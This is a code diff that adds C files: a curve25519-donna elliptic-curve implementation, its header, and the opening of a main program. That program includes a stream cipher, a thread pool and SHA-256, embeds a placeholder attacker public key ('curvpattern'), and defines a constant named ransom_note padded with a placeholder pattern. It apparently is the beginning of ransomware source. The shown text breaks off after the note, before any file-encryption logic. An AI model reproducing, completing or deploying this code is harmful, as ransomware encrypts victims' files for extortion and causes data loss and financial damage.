const s32 carry = -((input[i] & mask) >> 26);
|
||||
input[i] = input[i] + (carry << 26);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* There's no greater limb for input[9] to borrow from, but we can multiply
|
||||
* by 19 and borrow from input[0], which is valid mod 2^255-19. */
|
||||
{
|
||||
const s32 mask = input[9] >> 31;
|
||||
const s32 carry = -((input[9] & mask) >> 25);
|
||||
input[9] = input[9] + (carry << 25);
|
||||
input[0] = input[0] - (carry * 19);
|
||||
}
|
||||
|
||||
/* After the first iteration, input[1..9] are non-negative and fit within
|
||||
* 25 or 26 bits, depending on position. However, input[0] may be
|
||||
* negative. */
|
||||
}
|
||||
|
||||
/* The first borrow-propagation pass above ended with every limb
|
||||
except (possibly) input[0] non-negative.
|
||||
|
||||
If input[0] was negative after the first pass, then it was because of a
|
||||
carry from input[9]. On entry, input[9] < 2^26 so the carry was, at most,
|
||||
one, since (2**26-1) >> 25 = 1. Thus input[0] >= -19.
|
||||
|
||||
In the second pass, each limb is decreased by at most one. Thus the second
|
||||
borrow-propagation pass could only have wrapped around to decrease
|
||||
input[0] again if the first pass left input[0] negative *and* input[1]
|
||||
through input[9] were all zero. In that case, input[1] is now 2^25 - 1,
|
||||
and this last borrow-propagation step will leave input[1] non-negative. */
|
||||
{
|
||||
const s32 mask = input[0] >> 31;
|
||||
const s32 carry = -((input[0] & mask) >> 26);
|
||||
input[0] = input[0] + (carry << 26);
|
||||
input[1] = input[1] - carry;
|
||||
}
|
||||
|
||||
/* All input[i] are now non-negative. However, there might be values between
|
||||
* 2^25 and 2^26 in a limb which is, nominally, 25 bits wide. */
|
||||
for (j = 0; j < 2; j++) {
|
||||
for (i = 0; i < 9; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
const s32 carry = input[i] >> 25;
|
||||
input[i] &= 0x1ffffff;
|
||||
input[i+1] += carry;
|
||||
} else {
|
||||
const s32 carry = input[i] >> 26;
|
||||
input[i] &= 0x3ffffff;
|
||||
input[i+1] += carry;
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
const s32 carry = input[9] >> 25;
|
||||
input[9] &= 0x1ffffff;
|
||||
input[0] += 19*carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* If the first carry-chain pass, just above, ended up with a carry from
|
||||
* input[9], and that caused input[0] to be out-of-bounds, then input[0] was
|
||||
* < 2^26 + 2*19, because the carry was, at most, two.
|
||||
*
|
||||
* If the second pass carried from input[9] again then input[0] is < 2*19 and
|
||||
* the input[9] -> input[0] carry didn't push input[0] out of bounds. */
|
||||
|
||||
/* It still remains the case that input might be between 2^255-19 and 2^255.
|
||||
* In this case, input[1..9] must take their maximum value and input[0] must
|
||||
* be >= (2^255-19) & 0x3ffffff, which is 0x3ffffed. */
|
||||
mask = s32_gte(input[0], 0x3ffffed);
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
mask &= s32_eq(input[i], 0x1ffffff);
|
||||
} else {
|
||||
mask &= s32_eq(input[i], 0x3ffffff);
|
||||
}
|
||||
}
|
||||
|
||||
/* mask is either 0xffffffff (if input >= 2^255-19) and zero otherwise. Thus
|
||||
* this conditionally subtracts 2^255-19. */
|
||||
input[0] -= mask & 0x3ffffed;
|
||||
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
input[i] -= mask & 0x1ffffff;
|
||||
} else {
|
||||
input[i] -= mask & 0x3ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
input[1] <<= 2;
|
||||
input[2] <<= 3;
|
||||
input[3] <<= 5;
|
||||
input[4] <<= 6;
|
||||
input[6] <<= 1;
|
||||
input[7] <<= 3;
|
||||
input[8] <<= 4;
|
||||
input[9] <<= 6;
|
||||
#define F(i, s) \
|
||||
output[s+0] |= input[i] & 0xff; \
|
||||
output[s+1] = (input[i] >> 8) & 0xff; \
|
||||
output[s+2] = (input[i] >> 16) & 0xff; \
|
||||
output[s+3] = (input[i] >> 24) & 0xff;
|
||||
output[0] = 0;
|
||||
output[16] = 0;
|
||||
F(0,0);
|
||||
F(1,3);
|
||||
F(2,6);
|
||||
F(3,9);
|
||||
F(4,12);
|
||||
F(5,16);
|
||||
F(6,19);
|
||||
F(7,22);
|
||||
F(8,25);
|
||||
F(9,28);
|
||||
#undef F
|
||||
}
|
||||
|
||||
/* Input: Q, Q', Q-Q'
|
||||
* Output: 2Q, Q+Q'
|
||||
*
|
||||
* x2 z3: long form
|
||||
* x3 z3: long form
|
||||
* x z: short form, destroyed
|
||||
* xprime zprime: short form, destroyed
|
||||
* qmqp: short form, preserved
|
||||
*
|
||||
* On entry and exit, the absolute value of the limbs of all inputs and outputs
|
||||
* are < 2^26. */
|
||||
static void fmonty(limb *x2, limb *z2, /* output 2Q */
|
||||
limb *x3, limb *z3, /* output Q + Q' */
|
||||
limb *x, limb *z, /* input Q */
|
||||
limb *xprime, limb *zprime, /* input Q' */
|
||||
const limb *qmqp /* input Q - Q' */) {
|
||||
limb origx[10], origxprime[10], zzz[19], xx[19], zz[19], xxprime[19],
|
||||
zzprime[19], zzzprime[19], xxxprime[19];
|
||||
|
||||
memcpy(origx, x, 10 * sizeof(limb));
|
||||
fsum(x, z);
|
||||
/* |x[i]| < 2^27 */
|
||||
fdifference(z, origx); /* does x - z */
|
||||
/* |z[i]| < 2^27 */
|
||||
|
||||
memcpy(origxprime, xprime, sizeof(limb) * 10);
|
||||
fsum(xprime, zprime);
|
||||
/* |xprime[i]| < 2^27 */
|
||||
fdifference(zprime, origxprime);
|
||||
/* |zprime[i]| < 2^27 */
|
||||
fproduct(xxprime, xprime, z);
|
||||
/* |xxprime[i]| < 14*2^54: the largest product of two limbs will be <
|
||||
* 2^(27+27) and fproduct adds together, at most, 14 of those products.
|
||||
* (Approximating that to 2^58 doesn't work out.) */
|
||||
fproduct(zzprime, x, zprime);
|
||||
/* |zzprime[i]| < 14*2^54 */
|
||||
freduce_degree(xxprime);
|
||||
freduce_coefficients(xxprime);
|
||||
/* |xxprime[i]| < 2^26 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
memcpy(origxprime, xxprime, sizeof(limb) * 10);
|
||||
fsum(xxprime, zzprime);
|
||||
/* |xxprime[i]| < 2^27 */
|
||||
fdifference(zzprime, origxprime);
|
||||
/* |zzprime[i]| < 2^27 */
|
||||
fsquare(xxxprime, xxprime);
|
||||
/* |xxxprime[i]| < 2^26 */
|
||||
fsquare(zzzprime, zzprime);
|
||||
/* |zzzprime[i]| < 2^26 */
|
||||
fproduct(zzprime, zzzprime, qmqp);
|
||||
/* |zzprime[i]| < 14*2^52 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
memcpy(x3, xxxprime, sizeof(limb) * 10);
|
||||
memcpy(z3, zzprime, sizeof(limb) * 10);
|
||||
|
||||
fsquare(xx, x);
|
||||
/* |xx[i]| < 2^26 */
|
||||
fsquare(zz, z);
|
||||
/* |zz[i]| < 2^26 */
|
||||
fproduct(x2, xx, zz);
|
||||
/* |x2[i]| < 14*2^52 */
|
||||
freduce_degree(x2);
|
||||
freduce_coefficients(x2);
|
||||
/* |x2[i]| < 2^26 */
|
||||
fdifference(zz, xx); // does zz = xx - zz
|
||||
/* |zz[i]| < 2^27 */
|
||||
memset(zzz + 10, 0, sizeof(limb) * 9);
|
||||
fscalar_product(zzz, zz, 121665);
|
||||
/* |zzz[i]| < 2^(27+17) */
|
||||
/* No need to call freduce_degree here:
|
||||
fscalar_product doesn't increase the degree of its input. */
|
||||
freduce_coefficients(zzz);
|
||||
/* |zzz[i]| < 2^26 */
|
||||
fsum(zzz, xx);
|
||||
/* |zzz[i]| < 2^27 */
|
||||
fproduct(z2, zz, zzz);
|
||||
/* |z2[i]| < 14*2^(26+27) */
|
||||
freduce_degree(z2);
|
||||
freduce_coefficients(z2);
|
||||
/* |z2|i| < 2^26 */
|
||||
}
|
||||
|
||||
/* Conditionally swap two reduced-form limb arrays if 'iswap' is 1, but leave
|
||||
* them unchanged if 'iswap' is 0. Runs in data-invariant time to avoid
|
||||
* side-channel attacks.
|
||||
*
|
||||
* NOTE that this function requires that 'iswap' be 1 or 0; other values give
|
||||
* wrong results. Also, the two limb arrays must be in reduced-coefficient,
|
||||
* reduced-degree form: the values in a[10..19] or b[10..19] aren't swapped,
|
||||
* and all all values in a[0..9],b[0..9] must have magnitude less than
|
||||
* INT32_MAX. */
|
||||
static void
|
||||
swap_conditional(limb a[19], limb b[19], limb iswap) {
|
||||
unsigned i;
|
||||
const s32 swap = (s32) -iswap;
|
||||
|
||||
for (i = 0; i < 10; ++i) {
|
||||
const s32 x = swap & ( ((s32)a[i]) ^ ((s32)b[i]) );
|
||||
a[i] = ((s32)a[i]) ^ x;
|
||||
b[i] = ((s32)b[i]) ^ x;
|
||||
}
|
||||
}
|
||||
|
||||
/* Calculates nQ where Q is the x-coordinate of a point on the curve
|
||||
*
|
||||
* resultx/resultz: the x coordinate of the resulting curve point (short form)
|
||||
* n: a little endian, 32-byte number
|
||||
* q: a point of the curve (short form) */
|
||||
static void
|
||||
cmult(limb *resultx, limb *resultz, const u8 *n, const limb *q) {
|
||||
limb a[19] = {0}, b[19] = {1}, c[19] = {1}, d[19] = {0};
|
||||
limb *nqpqx = a, *nqpqz = b, *nqx = c, *nqz = d, *t;
|
||||
limb e[19] = {0}, f[19] = {1}, g[19] = {0}, h[19] = {1};
|
||||
limb *nqpqx2 = e, *nqpqz2 = f, *nqx2 = g, *nqz2 = h;
|
||||
|
||||
unsigned i, j;
|
||||
|
||||
memcpy(nqpqx, q, sizeof(limb) * 10);
|
||||
|
||||
for (i = 0; i < 32; ++i) {
|
||||
u8 byte = n[31 - i];
|
||||
for (j = 0; j < 8; ++j) {
|
||||
const limb bit = byte >> 7;
|
||||
|
||||
swap_conditional(nqx, nqpqx, bit);
|
||||
swap_conditional(nqz, nqpqz, bit);
|
||||
fmonty(nqx2, nqz2,
|
||||
nqpqx2, nqpqz2,
|
||||
nqx, nqz,
|
||||
nqpqx, nqpqz,
|
||||
q);
|
||||
swap_conditional(nqx2, nqpqx2, bit);
|
||||
swap_conditional(nqz2, nqpqz2, bit);
|
||||
|
||||
t = nqx;
|
||||
nqx = nqx2;
|
||||
nqx2 = t;
|
||||
t = nqz;
|
||||
nqz = nqz2;
|
||||
nqz2 = t;
|
||||
t = nqpqx;
|
||||
nqpqx = nqpqx2;
|
||||
nqpqx2 = t;
|
||||
t = nqpqz;
|
||||
nqpqz = nqpqz2;
|
||||
nqpqz2 = t;
|
||||
|
||||
byte <<= 1;
|
||||
}
|
||||
}
|
||||
|
||||
memcpy(resultx, nqx, sizeof(limb) * 10);
|
||||
memcpy(resultz, nqz, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Shamelessly copied from djb's code
|
||||
// -----------------------------------------------------------------------------
|
||||
static void
|
||||
crecip(limb *out, const limb *z) {
|
||||
limb z2[10];
|
||||
limb z9[10];
|
||||
limb z11[10];
|
||||
limb z2_5_0[10];
|
||||
limb z2_10_0[10];
|
||||
limb z2_20_0[10];
|
||||
limb z2_50_0[10];
|
||||
limb z2_100_0[10];
|
||||
limb t0[10];
|
||||
limb t1[10];
|
||||
int i;
|
||||
|
||||
/* 2 */ fsquare(z2,z);
|
||||
/* 4 */ fsquare(t1,z2);
|
||||
/* 8 */ fsquare(t0,t1);
|
||||
/* 9 */ fmul(z9,t0,z);
|
||||
/* 11 */ fmul(z11,z9,z2);
|
||||
/* 22 */ fsquare(t0,z11);
|
||||
/* 2^5 - 2^0 = 31 */ fmul(z2_5_0,t0,z9);
|
||||
|
||||
/* 2^6 - 2^1 */ fsquare(t0,z2_5_0);
|
||||
/* 2^7 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^8 - 2^3 */ fsquare(t0,t1);
|
||||
/* 2^9 - 2^4 */ fsquare(t1,t0);
|
||||
/* 2^10 - 2^5 */ fsquare(t0,t1);
|
||||
/* 2^10 - 2^0 */ fmul(z2_10_0,t0,z2_5_0);
|
||||
|
||||
/* 2^11 - 2^1 */ fsquare(t0,z2_10_0);
|
||||
/* 2^12 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^20 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^20 - 2^0 */ fmul(z2_20_0,t1,z2_10_0);
|
||||
|
||||
/* 2^21 - 2^1 */ fsquare(t0,z2_20_0);
|
||||
/* 2^22 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^40 - 2^20 */ for (i = 2;i < 20;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^40 - 2^0 */ fmul(t0,t1,z2_20_0);
|
||||
|
||||
/* 2^41 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^42 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^50 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^50 - 2^0 */ fmul(z2_50_0,t0,z2_10_0);
|
||||
|
||||
/* 2^51 - 2^1 */ fsquare(t0,z2_50_0);
|
||||
/* 2^52 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^100 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^100 - 2^0 */ fmul(z2_100_0,t1,z2_50_0);
|
||||
|
||||
/* 2^101 - 2^1 */ fsquare(t1,z2_100_0);
|
||||
/* 2^102 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^200 - 2^100 */ for (i = 2;i < 100;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^200 - 2^0 */ fmul(t1,t0,z2_100_0);
|
||||
|
||||
/* 2^201 - 2^1 */ fsquare(t0,t1);
|
||||
/* 2^202 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^250 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^250 - 2^0 */ fmul(t0,t1,z2_50_0);
|
||||
|
||||
/* 2^251 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^252 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^253 - 2^3 */ fsquare(t1,t0);
|
||||
/* 2^254 - 2^4 */ fsquare(t0,t1);
|
||||
/* 2^255 - 2^5 */ fsquare(t1,t0);
|
||||
/* 2^255 - 21 */ fmul(out,t1,z11);
|
||||
}
|
||||
|
||||
int curve25519_donna(u8 *mypublic, const u8 *secret, const u8 *basepoint) {
|
||||
limb bp[10], x[10], z[11], zmone[10];
|
||||
uint8_t e[32];
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 32; ++i) e[i] = secret[i];
|
||||
e[0] &= 248;
|
||||
e[31] &= 127;
|
||||
e[31] |= 64;
|
||||
|
||||
fexpand(bp, basepoint);
|
||||
cmult(x, z, e, bp);
|
||||
crecip(zmone, z);
|
||||
fmul(z, x, zmone);
|
||||
fcontract(mypublic, z);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t limb;
|
||||
|
||||
int curve25519_donna(u8* mypublic, const u8* secret, const u8* basepoint);
|
|
@ -0,0 +1,283 @@
|
|||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <dirent.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include "curve25519-donna.h"
|
||||
#include "sosemanuk.h"
|
||||
#include "thpool.h"
|
||||
#include "sha256.h"
|
||||
#include "args.h"
|
||||
|
||||
static uint8_t basepoint[32] = { 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
|
||||
|
||||
static uint8_t m_publ[32] = {
|
||||
'c', 'u', 'r', 'v', 'p', 'a', 't', 't', 'e', 'r', 'n', 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
const char ransom_note[] =
|
||||
"notepatternxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
